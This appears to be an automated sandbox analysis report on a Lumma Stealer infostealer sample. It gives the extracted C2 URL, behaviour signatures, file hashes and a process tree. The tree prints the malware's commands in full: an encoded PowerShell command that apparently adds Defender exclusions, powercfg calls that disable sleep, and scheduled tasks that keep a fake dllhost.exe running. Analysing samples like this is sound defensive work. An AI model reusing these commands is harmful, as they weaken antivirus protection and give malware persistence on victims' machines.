Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 02:58

General

  • Target
    [email protected]
  • Size 14.2MB
  • Sample240709-df6gfssgpm
  • SHA256 c799e5e10709df5ac5a1f7fa57757d819169eb989da0a17837852826366f0618
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • lumma

C2
  • https://bargainnykwo.shop/api

Signatures

  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 9 IoCs
  • Loads dropped DLL 7 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 1 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[email protected]
    "C:\Users\Admin\AppData\Local\Temp\[email protected]"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:512
    • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4360
      • C:\Users\Admin\AppData\Local\Temp\Z5D2PNX7CIYJTPCXXYD.exe
        "C:\Users\Admin\AppData\Local\Temp\Z5D2PNX7CIYJTPCXXYD.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3196
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1476
          • C:\Windows\system32\mode.com
            mode 65,10
            5⤵
              PID:3720
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e file.zip -p1404753551733818025492326517 -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:3544
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_6.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:2208
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_5.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:404
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_4.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1220
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_3.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:3308
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_2.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:3896
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_1.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:2064
            • C:\Windows\system32\attrib.exe
              attrib +H "Installer.exe"
              5⤵
              • Views/modifies file attributes
              PID:4892
            • C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
              "Installer.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2332
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /C powershell -EncodedCommand "PAAjAEQAYgBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaAAxAFQAagBxAGMAUgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBWADUAeABBAEQAUgAxAHUAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQAxAFQARQBvAHgAVQBZACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
                6⤵
                • Power Settings
                • Suspicious use of WriteProcessMemory
                PID:1324
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -EncodedCommand "PAAjAEQAYgBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaAAxAFQAagBxAGMAUgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBWADUAeABBAEQAUgAxAHUAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQAxAFQARQBvAHgAVQBZACMAPgA="
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:852
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1544
                • C:\Windows\SysWOW64\schtasks.exe
                  SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                  7⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:4540
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk1300" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2564
                • C:\Windows\SysWOW64\schtasks.exe
                  SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk1300" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                  7⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3284

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          Z5D2PNX7CIYJTPCXXYD.exe

          • Path C:\Users\Admin\AppData\Local\Temp\Z5D2PNX7CIYJTPCXXYD.exe
          • Size 2.5MB
          • SHA256 771b76ba28496c56d1d9c0fe67fdf7688a2f1b12a9eb428050551338945337a3
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_24kkm4ev.iqj.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_24kkm4ev.iqj.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          7z.dll

          • Path C:\Users\Admin\AppData\Local\Temp\main\7z.dll
          • Size 1.6MB
          • SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
          • MD5 SHA1 SHA512 SSDEEP

          7z.exe

          • Path C:\Users\Admin\AppData\Local\Temp\main\7z.exe
          • Size 458KB
          • SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
          • MD5 SHA1 SHA512 SSDEEP

          Installer.exe

          • Path C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
          • Size 21KB
          • SHA256 c07698b4c960b60d8a3c661887d6cc1f7fe74e31a24d4c2ae95d52d1c92ce403
          • MD5 SHA1 SHA512 SSDEEP

          ANTIAV~1.DAT

          • Path C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT
          • Size 2.2MB
          • SHA256 e92508881b6d69c45897a58b4c7dc58ee68e438979604d7f7b6f6ff71f15444d
          • MD5 SHA1 SHA512 SSDEEP

          file_1.zip

          • Path C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip
          • Size 9KB
          • SHA256 06d1004f28a87b42b1d7ac23ff2e4b43d736295abc2e84740504386f40a041f4
          • MD5 SHA1 SHA512 SSDEEP

          file_2.zip

          • Path C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip
          • Size 9KB
          • SHA256 5e2e339dbee22d6c05d652646071bc81ad96a6422eb311453ca3905e7dfea285
          • MD5 SHA1 SHA512 SSDEEP

          file_3.zip

          • Path C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip
          • Size 9KB
          • SHA256 88b2d9a82c911ad61f3570aa31b360ae1649b117f6495459698d724f0c9638dc
          • MD5 SHA1 SHA512 SSDEEP

          file_4.zip

          • Path C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip
          • Size 9KB
          • SHA256 b61a321a8a1f4ca1d8c52a1ad0464ac5882073ac8da7c5585f04ce2330b78acc
          • MD5 SHA1 SHA512 SSDEEP

          file_5.zip

          • Path C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip
          • Size 9KB
          • SHA256 814a92267e0d8867932afd625f2f8e55b04b88b2cfc31e91b6e45e473f1b057d
          • MD5 SHA1 SHA512 SSDEEP

          file_6.zip

          • Path C:\Users\Admin\AppData\Local\Temp\main\extracted\file_6.zip
          • Size 1.6MB
          • SHA256 0bb07f0caab7e5539e7efeca5bee359d9f6b49237e0c908981d9168680fe2b3e
          • MD5 SHA1 SHA512 SSDEEP

          file.bin

          • Path C:\Users\Admin\AppData\Local\Temp\main\file.bin
          • Size 1.6MB
          • SHA256 ba5270891d3eef832fe34f9d67fbbb30ceb3873552ea859139914a6a783b0aa1
          • MD5 SHA1 SHA512 SSDEEP

          main.bat

          • Path C:\Users\Admin\AppData\Local\Temp\main\main.bat
          • Size 474B
          • SHA256 e0855b82ec99b14bdfa38dacf90dadb2071e0d413c6559c752e0b2c6e8cd08c0
          • MD5 SHA1 SHA512

          memory/512-5-0x00007FF7D9870000-0x00007FF7DA70E000-memory.dmp

          memory/852-107-0x0000000006500000-0x000000000651E000-memory.dmp

          memory/852-95-0x0000000005F70000-0x0000000005FBC000-memory.dmp

          memory/852-123-0x00000000074E0000-0x00000000074E8000-memory.dmp

          memory/852-122-0x0000000007590000-0x00000000075AA000-memory.dmp

          memory/852-119-0x00000000074B0000-0x00000000074C4000-memory.dmp

          memory/852-117-0x00000000074A0000-0x00000000074AE000-memory.dmp

          memory/852-113-0x0000000007460000-0x0000000007471000-memory.dmp

          memory/852-112-0x00000000074F0000-0x0000000007586000-memory.dmp

          memory/852-80-0x00000000049E0000-0x0000000004A16000-memory.dmp

          memory/852-81-0x0000000005090000-0x00000000056B8000-memory.dmp

          memory/852-82-0x00000000057B0000-0x00000000057D2000-memory.dmp

          memory/852-111-0x00000000072D0000-0x00000000072DA000-memory.dmp

          memory/852-83-0x0000000005850000-0x00000000058B6000-memory.dmp

          memory/852-93-0x0000000005930000-0x0000000005C84000-memory.dmp

          memory/852-94-0x0000000005F30000-0x0000000005F4E000-memory.dmp

          memory/852-110-0x0000000007260000-0x000000000727A000-memory.dmp

          memory/852-96-0x00000000070E0000-0x0000000007112000-memory.dmp

          memory/852-97-0x000000006FC60000-0x000000006FCAC000-memory.dmp

          memory/852-109-0x00000000078A0000-0x0000000007F1A000-memory.dmp

          memory/852-108-0x0000000007120000-0x00000000071C3000-memory.dmp

          memory/2332-78-0x00000000050D0000-0x00000000050DA000-memory.dmp

          memory/2332-79-0x00000000051A0000-0x0000000005206000-memory.dmp

          memory/2332-77-0x0000000004F10000-0x0000000004FA2000-memory.dmp

          memory/2332-76-0x0000000005580000-0x0000000005B24000-memory.dmp

          memory/2332-75-0x0000000000530000-0x000000000053C000-memory.dmp

          memory/4360-4-0x0000000000930000-0x0000000000982000-memory.dmp

          memory/4360-13-0x0000000000930000-0x0000000000982000-memory.dmp

          memory/4360-7-0x0000000000930000-0x0000000000982000-memory.dmp

          memory/4360-8-0x0000000000930000-0x0000000000982000-memory.dmp